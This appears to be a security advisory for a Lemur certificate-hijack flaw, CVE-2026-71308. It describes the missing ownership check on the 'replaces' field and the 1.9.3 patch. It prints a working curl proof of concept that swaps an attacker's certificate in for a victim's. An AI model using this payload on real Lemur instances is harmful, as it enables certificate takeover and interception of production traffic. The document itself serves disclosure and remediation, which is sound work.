CVE-2026-71308: Lemur Unauthorized Certificate Hijack via Unchecked replaces Field
Any authenticated Lemur user can silently take over a production certificate they do not own by listing its ID in the replaces field when uploading or creating their own certificate, disabling the…

The problem
The certificate create, upload, and edit endpoints accept a replaces array that is resolved to live Certificate ORM objects with no ownership or permission check on the referenced certificates. Any authenticated non-read-only user can supply arbitrary certificate IDs they do not own.
The SQLAlchemy append listener on Certificate.replaces immediately sets victim.notify = False and populates victim.replaced. On the next scheduled certificate_rotate Celery run, the attacker's certificate is pushed to every endpoint (AWS ELB, CloudFront, ACM, Kubernetes) that was serving the victim certificate, while the legitimate certificate is detached and excluded from auto-reissue.
Proof of concept
A working proof-of-concept for CVE-2026-71308 in lemur, with the exact payload below.
# Step 1: upload an attacker-controlled cert that "replaces" the victim
curl -sS -X POST "https://<LEMUR_HOST>/api/1/certificates/upload" \
-H "Authorization: Bearer <LOW_PRIV_TOKEN>" \
-H "Content-Type: application/json" \
-d '{
"name": "attacker-replacement",
"owner": "attacker@example.com",
"body": "-----BEGIN CERTIFICATE-----\n<ATTACKER_CERT_PEM>\n-----END CERTIFICATE-----",
"privateKey": "-----BEGIN PRIVATE KEY-----\n<ATTACKER_KEY_PEM>\n-----END PRIVATE KEY-----",
"replaces": [{"id": <VICTIM_CERT_ID>}]
}'
# Step 2: confirm victim.notify is now false and victim is queued for rotation
curl -sS "https://<LEMUR_HOST>/api/1/certificates/<VICTIM_CERT_ID>" \
-H "Authorization: Bearer <LOW_PRIV_TOKEN>" | jq '.notify, .replaced'
# Step 3: on the next certificate_rotate Celery beat tick, the attacker cert
# is deployed to every endpoint that was serving <VICTIM_CERT_ID>.AssociatedCertificateSchema resolves any certificate by id/name via fetch_objects(Certificate, data) and returns the ORM rows verbatim. No caller on the create/upload/edit path iterated the resolved replaces list to enforce CertificatePermission before the model assigned them, even though the direct revoke endpoint did enforce it.
The Certificate.replaces SQLAlchemy append event listener then mutated the victim row (setting notify = False) as a side effect of ORM collection assignment, meaning an authorization failure could leave the victim partially mutated even if the request was later rejected.
The patch added authorize_certificate_replacement in views.py, called before persisting the replaces list on all three affected routes. It enforces the same CertificatePermission(owner_role, cert.roles) check used by revoke/edit, and raises HTTP 403 for any referenced certificate the caller does not own or hold a role on.
ENFORCE_REPLACES_AUTHORIZATION (default True) controls the check, allowing temporary opt-out during role migration.
The fix
Upgrade to lemur 1.9.3. The patch adds authorize_certificate_replacement to lemur/certificates/views.py, enforcing CertificatePermission on every certificate in the replaces list before any ORM assignment occurs on POST /api/1/certificates, POST /api/1/certificates/upload, and PUT /api/1/certificates/<id>.
If you cannot upgrade immediately, set ENFORCE_REPLACES_AUTHORIZATION = False only as a short-term bridge while granting the appropriate roles to affected workflows, then re-enable it. Note: the Netflix/lemur repository was archived on July 6, 2026 and is no longer actively maintained; v1.9.3 is the final release.
Related research
- high · 7.7CVE-2026-71307CVE-2026-71307: Lemur Authenticated Plaintext Destination Credential Exposure
- high · 7.3CVE-2026-71417CVE-2026-71417: Lemur Authorization Bypass via Duplicate Certificate Upload Enables Arbitrary CA Revocation
- CRITICAL · 9.9CVE-2026-55166CVE-2026-55166: Lemur ACME SSRF + Creator IDOR leads to AWS IAM and PKI key compromise
- high · 7.4CVE-2026-70666CVE-2026-70666: Lemur ACME Client Server-Side Request Forgery via Server-Controlled URLs